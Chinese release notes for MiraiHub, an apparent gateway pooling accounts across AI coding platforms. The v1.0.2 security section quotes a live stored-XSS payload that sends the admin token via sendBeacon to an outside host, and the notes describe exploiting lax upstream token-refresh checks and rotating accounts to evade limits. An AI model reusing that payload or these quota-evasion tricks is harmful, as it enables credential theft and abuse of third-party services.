Repository navigation
Releases: xiaofan6ya/MiraiHub
Release list
MiraiHub v1.0.2
MiraiHub v1.0.2
本版重点:修复控制台存储型 XSS(线上事件)、修正账号令牌有效期的判断口径(此前会误判「30 天后必须重新登录」)、以及一批复制/样式/启动脚本的实际缺陷。
一、安全修复
控制台存储型 XSS(CVE 类,已在线上真实触发)
攻击者用手机号走公开自助注册(/api/join/*)把自己的账号塞进号池,昵称里写入:
');navigator.sendBeacon('//ntfy.sh/xxx',localStorage.wb_admin_token);location='http://x.x.x.x/admin'//
后台账号行把这个昵称拼进内联处理器:
onclick="growthTasks(55,'${esc(a.name)}')"esc() 只做 HTML 实体转义(& < > "),不处理单引号;而 onclick 属性的值是「先由 HTML 解析器解码实体、再交给 JS 解析」——一个 ' 就能闭合字符串、跳出参数位执行任意语句,把 localStorage 里的后台令牌外带出去。管理员点任意一行操作按钮即中招。
三层修复:
| 层 | 做法 |
|---|---|
| 入库 | 新增 clean_display_name():剔除 < > & " ' \ \`、控制字符,长度封顶 64,空值回落到「未命名」——payload 根本进不了库 |
| 渲染 | 模板里不再出现 '${esc(...)}' 这种「单引号 JS 字符串 + HTML 转义」组合,一律改用 jsv()(内部 JSON.stringify,引号被转成 \u0027,实体解码后仍是安全字面量) |
| 回归 | tests/test_console_xss.py 用真实 payload 断言三条线都成立 |
注意:不能用「把
'转成'」来修 —— 实体解码后还是',一样能闭合字符串。必须做 JS 层编码。
二、账号令牌有效期:之前的技术结论是错的
原结论是「accessToken 是 30 天 JWT,refreshToken 换新必须 client_secret,而 secret 既不在客户端也不在开源码里,所以 30 天后只能重新登录」。实测推翻:
| 实测项 | 结果 |
|---|---|
| 刷新端点鉴权 | POST /v2/plugin/auth/token/refresh 只要一个 X-Refresh-Token 头,不需要 client_secret |
accessToken 已过期 / 签名伪造 / 完全不传 Authorization |
三种都返回 200 + 新令牌 |
刷新后 refreshExpiresIn |
恒为 5183999(约 60 天),每刷一次整体后移 |
| 旧 refreshToken 重放 | 仍然成功(宽容轮换,写回失败不会当场废号) |
所以凭证是两条独立时间线:
- access(30 天) —— 过期不是终态,一次刷新就复活,只是「该刷了」的提示
- refresh(60 天滑动窗口) —— 才是真正的死亡线
本版做了什么
admin/platform/workbuddy/core/credential_expiry.py:同时解析两条时间线,输出state/days_left/refresh_state/renewable,并绝不抛异常(坏号只降级为unknown,不让整页列表 500)admin/credential_expiry.py:平台无关入口。具体解析由各平台Gateway.credential_expiry()回答,admin 不认识.info的内部结构(也满足test_gateway_contract的「admin 平台无关性」约束)- 续期窗口兜底扫描:以前保活是「每天一个整点」,只要那一刻服务不在线就整轮错过(历史上积压过 18 天)。现在每 6 小时检查一次,有号的窗口剩余 < 14 天就立刻补刷,把「整点错过」降级成「最多晚 N 秒」
- 请求前提前续命:
_refresh_if_suspect()在发请求前把已过期的号续上,不再白烧一次 401;backend._bearer()覆盖了原来绕过过期检查的 5 处手动拼头(签到 / 成长任务 / 积分明细 / 遥测上报) - 刷新字段合并:原来用 payload 整体覆盖
auth,上游少回一个字段就静默丢数据;现在按字段合并 - 前端徽标拆成两色:access 过期 → 黄色「令牌待刷新」(能自愈);只有续期窗口告急/关闭才红色
三、其它修复
内置模块的循环导入(1.0.1 起就存在)
converter.py 顶部有 from admin.upstream_errors import UpstreamError,这一行会把 admin 包初始化一遍;而 admin/__init__.py 的别名装配会导入平台实现,那个实现第 17 行又写的是 from converter import BACKEND, CredentialError, CredentialManager。
于是成环:converter(第38行) → admin → admin.backend → converter(第114行),此时 BACKEND 还没定义 → ImportError: partially initialized module。
服务本身没炸,纯粹因为 main.py 恰好先 import converter、在 admin 装配前把常量定义好了 —— 靠调用顺序活着。后果是任何把 converter 当独立模块加载的场景(排查脚本、单测、PyInstaller 的不同入口顺序)都会失败。
修法:UpstreamError 改用模块级 __getattr__(PEP 562)按需解析,BACKEND / CredentialError 提前到文件头,growth_plan 的 AccountSession 改为函数内延迟导入。
别名装配静默失败
admin/__init__.py 手动改写 sys.modules["admin.backend"] 时,绕过了 import x.y 会自动做的 setattr(parent, "y", ...)。于是 import admin.backend 能用,但 getattr(admin, "backend") 是 AttributeError —— 而 patch("admin.backend.AccountSession") 走的正是后者,一次影响 9 个测试。
现在同时写入 sys.modules 与包属性;converter 还在初始化时只跳过 backend 这一项(它是唯一反向依赖 converter 的),其余别名照装 —— 避免「装不上」被 except 伪装成「模块不存在」。
复制剪贴板静默失败
顶栏与概览卡的「复制 API 地址」写的是裸 navigator.clipboard.writeText(),没有 catch。在非安全上下文(内网 IP / WebView / 反代)下它会 reject,用户看到「已复制」的提示,剪贴板里却是空的。
现在统一走 writeClipboard():Clipboard API → 失败立刻回落 execCommand,两条路径都走不通时才提示「复制失败,请手动选中」。
1.0.1 的提示条(toast)无样式
1.0.1 的 console.css 里一条 wb-toast 规则都没有,而 index.html 已经输出新结构。后果是提示掉到文档流底部变成纯文本,图标 SVG 没有尺寸约束、按默认 300×150 铺开并填黑 —— 页面上那个巨大的黑色三角形就是它。本版补齐 22 条规则并加回归测试。
移动端设置入口消失
导航改成分组按钮后(接入 同时承载 client / sync / alerts),build_android.py 里「删掉 data-tab=client 按钮」那条正则会把整个分组按钮删掉,连带手机上的设置入口一起消失。构建本身不报错,只有装到手机上才发现。已改为重写为独立的「设置」项,并加 tests/test_mobile_nav.py。
服务重启脚本根本起不来服务
scripts/daemon.ps1 把解释器硬编码成 .venv\Scripts\python.exe。本机没有这个 venv 时,Start-Process 静默失败,日志只留一行空的「已启动服务 PID=」,端口永远不监听 —— 「重启服务没反应」的根因就在这里。
改为按 venv → PYTHON 环境变量 → PATH 依次解析解释器;同时把「固定等 8 秒就判定失败」改为轮询等待(冷启动实测 10 秒上下,8 秒一刀切会把成功报成失败,让真失败和「只是慢一点」混成同一句话)。
账号调度:手动排序语义恢复
「积分到期优先」模式下取「最早到期那一档」做候选,配合「取前 N 档」会让第 2、3 名永远不动。已恢复为默认「只取最小优先级那一档」(用户把某个号拖到第 1 位就是「先烧它」),需要分摊时用 ADMIN_SELECTION_ROTATE_N 显式打开。
四、下载
| 平台 | 文件 | 大小 |
|---|---|---|
| Windows x64 | miraihub-1.0.2-windows-x64.exe |
36.0 MB |
| Android arm64 | miraihub-1.0.2-android-arm64.apk |
见 Release 附件 |
五、升级说明
桌面版:直接覆盖安装。会复用 %LOCALAPPDATA%\workbuddy2api\ 下的旧数据库,缺失的列由启动时的 _ensure_column 自动补齐(本版已核对 blocked_ips.expires_at 在清单内)。
Android:卸载旧版后重装。卸载前先导出:账号页 → 管理操作 → 导出。
给账号池的建议:本版上线后先手动点一次「token 保活」,确认日志里的 refreshed 计数不再为 0 —— 之前的实现因为 get_headers() 只在本地 expiresAt 临近时才刷,长期报「成功 N/N、refreshed=0」而实际一个 token 都没动过。
六、校验
# Windows
Get-FileHash .\miraihub-1.0.2-windows-x64.exe -Algorithm SHA256
# Android
Get-FileHash .\miraihub-1.0.2-android-arm64.apk -Algorithm SHA256与同目录 .sha256 文件比对即可。Release 附件页也会显示 GitHub 侧算出的 digest。
七、已知限制
refreshExpiresIn60 天是滑动窗口,不是无限:只要 60 天内成功刷新过一次就永续,但连续 60 天一次都没成功(服务长期停机)仍会掉号,只能重新授权登录- 序号化的手动排序只影响「哪些号参与调度」,不放宽冷却/熔断/额度等健康判定
- 跨平台凭证解析只实现了 WorkBuddy:Trae / Qoder / Loomy 的凭证结构不同(顶层
token/expiredAt),本版不对它们显示令牌徽标 —— 这是预期,不是异常 - 本机测试环境中
tests/test_model_limits.py等 12 个模块存在既有失败(httpx 版本与测试桩对AsyncClient(transport=...)的处理冲突,HEAD 版本同样失败),不影响产物;四项核心回归PASS=76 / 171 / 171 / 83全绿
MiraiHub v1.0.1
MiraiHub v1.0.1
这一版主要修 bug:上一版确实有不少「看着能用、实际没跑通」的地方,这次逐个对着线上排查补完。
修掉的真问题
1. 缓存命中不再丢(重要)
第三方客户端(DSH / Cherry Studio / LobeChat / Claude Code 等)之前看不到缓存命中,只有平台内部有账。
- 网关在流末尾补发的 usage 帧只抄了 prompt/completion/total,把缓存命中字段覆盖掉了;多数客户端对
usage是「后到覆盖先到」,于是恒为 0 /v1/messages只输出 input/output,cache_read_input_tokens压根没给
现在四套写法一起回传:prompt_tokens_details.cached_tokens、cached_tokens、cache_read_input_tokens、prompt_cache_hit_tokens(+ 自洽的 miss),并纠正上游「ptd=10240 但 cache_read=0」的自相矛盾(只升不降,无值不伪造 0)。
2. deepseek-v4-pro 调用 400
调用名被缩写映射表误改写成 dmodel 发给上游 → 400 模型 'dmodel' 不存在。现在真实模型 id 优先于别名反查,deepseek-v4-pro / Deepseek-V4-Pro / deepseek-v4-pro-0813 全部 200。
3. 分组限权没生效(严重)
绑了分组的 Key 调 /v1/models 能拿到全部 54 个模型,而分组只允许 4~12 个。现在列表与调用走同一份分组集合:线上 5 个分组实测越权 0 个。
4. 账号表布局
名称列写死 220px + nowrap,头像行被截成 188***…,而「积分到期」白占 582px。改为按比例分配 + 名称行允许换行:名称/uuid 零截断。
5. 概览 7 天 / 30 天变快
- 30 天口径的
window与month是同一个区间,原来算了整整两遍(白烧 371ms) - 「最早一条带缓存的记录」是历史常量,却每次扫 42 万行(省 ~100ms/次)
- 本月累计按 60 秒缓存;7 天 20 秒、30 天 45 秒
实测(线上 42 万行):今日 559ms、7 天 159ms、30 天 492ms(冷),命中缓存 5ms。
6. 用量日志:分页不再被实时刷新打断
实时刷新用 with_total=false 省一次全表统计,但代码只在非静默时回填总数 —— 于是每刷新一次,分页条就从「共 220931 条 · 1/11047 页」退化成「第 1 页 / 已到末尾」。
7. 慢查询(实测数据)
| 接口 | 之前 | 现在 |
|---|---|---|
/api/logs/accounts(账号下拉) |
7315 ms | 244 ms |
| 按账号汇总 GROUP BY | 6593 ms | 189 ms |
/api/credits/usage(积分统计) |
12685 ms | 约 400 ms |
手段:补 (account_id, created_at, error_kind, credits, total_tokens) 与 (model, created_at, error_kind, credits) 两条覆盖索引,去掉逐行回表。
8. TPS 口径修正
模型卡片的「吞吐 TPS」原来用 total_tokens / 端到端耗时(含 prompt、含首包等待),算出 300~500 的假值。改为 completion_tokens / 纯解码耗时,并剔除「上游整包突发」样本(解码段 <300ms 或折算 >300 tok/s)。
实测 DeepSeek-V4.1-Flash:P50 190.8 / 均值 183.5(和客户端自己记的 100~200 对上了)。
9. 授权回调「粘贴即提交」
服务器部署时上游只认回环回调地址,浏览器必然跳到用户自己的 127.0.0.1。现在:
- 弹窗内置「② 回调链接」表单,粘贴自动提交,不用再点按钮(按钮留作兜底)
- 回调页有「复制这条链接」,剪贴板自动回填
- 服务端只解析、不发起外部请求(避免 SSRF),nonce 与会话绑定
10. 加载反馈与深色配色
- 全站顶部加载条:任何面板的数据请求超过 120ms 才亮,快请求不闪
- 深色模式「暗夜蓝」:开关、状态徽标、告警条不再用亮雾蓝,改深藏青 + 冷灰蓝描边
11. 其它修复
- API Key 列表在
key_prefix为 NULL 的老库/导入数据上 500(整页空白)→ 兜成空串 /api/alerts/config500:线上admin/config.py缺alert_channels()(部署漂移),已同步- 冷却徽标:显示具体冷却时长 + 原因,悬停看「冷却至 / 上游返回 code + 原文」
- 相同账号重复导入只更新凭证,不再新增重复行
下载
| 平台 | 文件 | 大小 |
|---|---|---|
| Windows x64 | miraihub-1.0.1-windows-x64.exe |
36.0 MB |
| Android arm64 | miraihub-1.0.1-android-arm64.apk |
26.9 MB |
升级说明
- 桌面版:直接覆盖安装(数据在
%LOCALAPPDATA%\workbuddy2api\,升级不丢) - Android:建议先导出配置,再卸载旧版安装新版(签名不同无法覆盖)
- 服务器 / Docker:拉新代码重启即可;本版新增 2 条覆盖索引,首次启动会由建表逻辑创建(老库请手动执行
CREATE INDEX,否则积分统计仍会慢)
校验
Get-FileHash .\miraihub-1.0.1-windows-x64.exe -Algorithm SHA256
# 5d3d2da7307929568d012df331f9a06738775517c45f4ee3e5663221c8e24081已知限制
- Trae 授权仍必须用「粘贴回调链接」:上游只接受回环回调地址,任何域名/公网回调都会被授权页判为「登录失败 / 网络错误」
ExchangeToken的失败信息是未填充模板(10101 无效参数:{__Message.field}),错误码无法定位到具体字段- 缓存命中率只统计「上游开始回传 cached_tokens 之后」的记录,早期数据不计入分母
致谢
- @awoaCrim —— 提出「通用手动授权回调入口」(issue #1 / PR #2)。只接受回环回调这个死结是他先点出来的,v1.0.1 的回调表单沿着这个思路实现
- @wocaoniubi123 —— PR #3(视频合并临时文件残留、设备令牌 helper 路径、安装目录只扫盘根),已合并进主线
MiraiHub v1.0.0
MiraiHub v1.0.0
把多个上游平台,聚合成一个标准的 OpenAI 兼容网关。
首发版本,全新项目名与全新架构。
这是什么
手上有好几家平台的账号和额度,但它们:协议各不相同、额度各自到期、单号容易被限流、客户端只支持一种协议。
MiraiHub 的做法是把它们全部收进一个网关,对外只暴露标准协议:
你的客户端 MiraiHub 上游平台
───────── ────────────────── ──────────
OpenAI SDK ──► /v1/chat/completions ──► WorkBuddy
Anthropic ──► /v1/responses ──► Trae 国内版
Codex CLI ──► /v1/messages ──► Trae 国际版
│ Qoder 中国版
统一鉴权 · 选号 · 计费 Qoder 国际版
调度 · 重试 · 记账 · 监控 Loomy
对外只有一套 Key 和一套协议;对内自动选平台、选账号、换号重试、按倍率记账。
核心能力
🔁 三协议互通
| 端点 | 协议 |
|---|---|
/v1/chat/completions |
OpenAI Chat Completions |
/v1/responses |
OpenAI Responses |
/v1/messages |
Anthropic Messages |
/v1/models · /v1/balance |
模型目录 / 余额 |
上游不管支持哪种,网关负责转换。工具调用(tool_calls)在三条协议上都完整透传 —— 这点是硬要求:丢了客户端就只收到一个「该调工具了」的空收尾,任务直接卡死。
🧩 平台即容器
新增平台只需在 admin/platform/ 下加一个目录,框架层不用改一行:
admin/platform/<平台>/
__init__.py 登记 PlatformSpec
gateway.py 转发实现
platform_gateway.py 管理契约
core/ 纯协议层
services/ 状态层
routers/ 后台接口
边界判据只有一句:它认识具体平台吗? 认识就是平台模块,不认识就是框架层。方法论完整写在 admin/platform/skill/。
🎯 六种调度策略
| 策略 | 适合场景 |
|---|---|
| 优先级 | 主力平台 + 兜底平台 |
| 额度优先 | 避免某个平台先被耗干 |
| 到期优先 | 先把即将作废的额度用掉 |
| 吞吐优先 | 按在途请求数分摊,降低排队延迟 |
| 轮转 / 随机 | 均匀分摊 |
切换即时生效,新会话按新策略,已有会话保持粘性不中途换平台。
🛡 风控哨兵
- 按错误码聚合失败信号(限流 / 鉴权失效 / 模型不存在 / 内容拦截)
- 命中阈值自动熔断该账号,冷却期内不再被选中
- 可视化拓扑:请求 → 哨兵 → 各平台,出问题的那条线亮红
- 支持手动暂停某个平台止损(不消耗额度、不打上游)
🔑 精细化 Key
分组(group) → 限定可用模型集合
平台绑定(platform) → 只能走这一个平台
多账号绑定(account_ids) → 只能用这几个账号
并发 / 频率上限 → 独立于全局配额
聚合开关(aggregate) → 是否参与自动选平台
📊 准确计量
- TTFT = 首个正文 token(不是首个思考事件)
- TPS =
completion_tokens / (latency - ttft)—— 只算解码段 - 非流式上游算不出速度时显示「—」,不编造数字
- 真流式转发:上游来一帧就转一帧,不做「读完再切块」的伪流式
下载
| 平台 | 文件 | 大小 |
|---|---|---|
| Windows x64 | miraihub-1.0.0-windows-x64.exe |
35.9 MB |
| Android arm64 | miraihub-1.0.0-android-arm64.apk |
26.8 MB |
每个产物都附带 .sha256 校验文件。
校验
# Windows
certutil -hashfile miraihub-1.0.0-windows-x64.exe SHA256
# Linux / macOS
sha256sum -c miraihub-1.0.0-windows-x64.exe.sha256升级说明
源码版 / Windows 桌面版
直接覆盖安装即可,数据自动迁移。
- 沿用原数据目录,账号、日志、Key 全部保留
- 启动时自动补齐旧库缺失的列(本次新增
api_keys.aggregate、api_keys.account_ids) - 不需要手动导出再导入
实测:拿 1.13.0 的旧库升级,api_keys 从 15 列补到 19 列,5 个账号 / 40 个模型 / 11 条日志一条没丢。
Android APK
建议卸载旧版后重装。
- 旧版是单平台架构,新版是多平台聚合网关,数据结构不同
- 如需保留旧数据,请先打开旧版「账号池」,用「导出」把账号导出成 JSONL
- 新装后在同一位置「导入」即可
为什么 APK 必须卸载重装(两个原因叠加,任一都导致无法覆盖安装):
- 签名变了:旧版证书
CN=WorkBuddy2API Android(fa651c81…),
本版证书CN=MiraiHub Android(d3057e4c…)。Android 不允许跨签名覆盖。- versionCode 倒退:旧版 1.16.0 →
1016000,本版 1.0.0 →1000000。
改名后版本号重置,版本码跟着变小,系统会拒绝降级安装。卸载前请先在旧版「账号池」里用「导出」保存账号,装好新版再「导入」。
桌面版不受影响:数据目录是稳定的用户级路径,升级程序原地复用。
从旧项目名迁移
项目已从旧名重命名为 MiraiHub。如果你之前部署过旧版本:
- 环境变量名保持不变(
ADMIN_*系列),.env不用改 - 数据库路径不变,数据直接可用
- 有新仓库地址,旧的更新检查会失效,请使用本次 Release
快速开始
桌面版
下载 miraihub-1.0.0-windows-x64.exe,双击运行。
首次启动会自动创建数据目录、生成管理员密码,并打开工作台。
运行后驻留系统托盘,右键图标可以启动/停止服务。
源码运行
git clone https://github.com/xiaofan6ya/MiraiHub.git
cd MiraiHub
pip install -r requirements.txt
cp .env.example .env # 至少设置 ADMIN_PASSWORD
python main.py启动后:
- 管理后台
http://127.0.0.1:8790/admin - 网关入口
http://127.0.0.1:8790/v1
数据库支持 SQLite(默认)与 MySQL(ADMIN_DATABASE_URL)。
调用示例
from openai import OpenAI
client = OpenAI(base_url="http://127.0.0.1:8790/v1", api_key="sk-你的Key")
# 不带到平台后缀 = 自动按调度策略选平台
resp = client.chat.completions.create(
model="deepseek-v4.1-flash",
messages=[{"role": "user", "content": "你好"}],
)
# 指定平台
resp = client.chat.completions.create(
model="deepseek-v4.1-flash-trae-cn",
messages=[{"role": "user", "content": "你好"}],
)界面
深色为主,浅色可切换。主色是低饱和雾蓝,跟随主题变量,改一处即可全站更换。
- 概览:余额、用量、缓存命中、平台状态
- 平台网关:调度策略 + 调度可视化 + 平台速度
- 风控哨兵:实时拓扑 + 平台健康 + 自动熔断
- 账号池 / 积分到期 / 用量日志 / API Keys
已知限制
- APK 只提供
arm64-v8a(覆盖绝大多数现代设备) - 桌面版备份功能仅 SQLite 模式可用;MySQL 部署请用数据库自带的备份工具
- 非流式上游无法测算 TPS,界面显示「—」
- 长视频拼接需要系统里有
ffmpeg:桌面版为了控制体积没有内置它(内置一份要 30 MB,占整包 40%)。装了ffmpeg或设置WB_FFMPEG环境变量指向它即可用;没装时前端「合并」按钮会置灰,不会生成坏文件。
许可
MIT License。
如果这个项目对你有帮助,欢迎 Star。